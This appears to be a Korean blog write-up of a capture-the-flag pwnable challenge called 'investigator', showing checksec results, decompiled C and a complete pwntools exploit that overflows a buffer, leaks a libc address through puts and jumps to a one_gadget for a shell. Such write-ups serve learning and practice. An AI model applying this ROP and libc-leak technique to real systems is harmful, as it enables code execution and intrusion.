728x90
checksec
- 64bit
- Partial RELRO
- No Canary
- NX
Analyze
Pseudo Code
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // eax
const char *v4; // rdi
int v6; // [rsp+18h] [rbp-8h]
int v7; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = getuid();
seteuid(v3);
v7 = 0;
puts("---------------------------------------------------");
puts("####FIND####THE####VACCINE####\n####FIND####Infected####People####");
v4 = "---------------------------------------------------\n";
puts("---------------------------------------------------\n");
while ( 2 )
{
v6 = menu(v4, 0LL);
switch ( v6 )
{
case 1:
current();
goto LABEL_8;
case 2:
guess();
goto LABEL_8;
case 3:
point();
goto LABEL_8;
case 4:
v7 = vaccine();
goto LABEL_8;
case 5:
return 0;
default:
LABEL_8:
v4 = (const char *)10;
putchar(10);
if ( m_count > 0 && v6 != 1 && !v7 )
spread(10LL);
if ( v7 != 1 && (m_count || c_count <= 0) )
{
if ( c_count <= 1 )
{
printf("There's no way.. we should wait...");
return 0;
}
continue;
}
puts("BYEBYE COVID-19");
reward("BYEBYE COVID-19");
return 0;
}
}
}
바이너리 파일에서 유용하게 사용될 듯한 함수 목록들이다.
실행
몇 번 실행해보면 random()함수는 사용했지만 time()함수는 사용하지 않았기 때문에 결국 같은 숫자들이 반복되는 것을 알 수 있다.
- 백신 보유자를 정확히 가리켰을 때 reward()함수로 넘어가 exploit하기 쉬워짐을 알 수 있다.
- 백신 보유자는 0번이다.
- ROP chain을 만들어 exploit 할 수 있을 것이다!
Exploit
from pwn import *
from struct import *
context.log_level = 'debug'
p = process("./investigator")
elf = ELF('./investigator')
libc = elf.libc
#gdb.attach(p)
def point(num):
p.sendlineafter(">> ", '3')
p.sendlineafter("PICK one you think might be infected (0~8) >> ", str(num))
def vaccine(num):
p.sendlineafter(">> ", '4')
p.sendlineafter("Who has the vaccine? (0~8) >> ", str(num))
pop_rdi = 0x400c03
one_gadget = 0xf1207
sys_off = libc.symbols['read']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_off = libc.symbols['read']
reward = elf.symbols['reward']
main = elf.symbols['main']
#start - vaccine
vaccine(0)
#paylaod - reward
pl = "A"*(0x30 + 8)
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(reward)
#gdb.attach(p)
p.recvuntil("ends.\n")
p.recvuntil(">> ")
p.send(pl)
read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libcbase = read_add - read_off
one_gadget += libcbase
pl = "A"*(0x30 + 8)
pl += p64(one_gadget)
p.recvuntil("ends.\n")
p.recvuntil(">> ")
p.send(pl)
p.interactive()
libcbase를 구하기 위해 read 함수의 주소를 이용해 leak하고 one gadget을 이용했다.
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] bof_basic (1) | 2021.01.22 |
---|---|
[POXX 2020] tips (0) | 2021.01.19 |
[LOB] gremlin → cobolt (4) | 2021.01.15 |
[LOB] gate → gremlin (2) | 2021.01.14 |
[Dreamhack] house_of_force (0) | 2020.11.08 |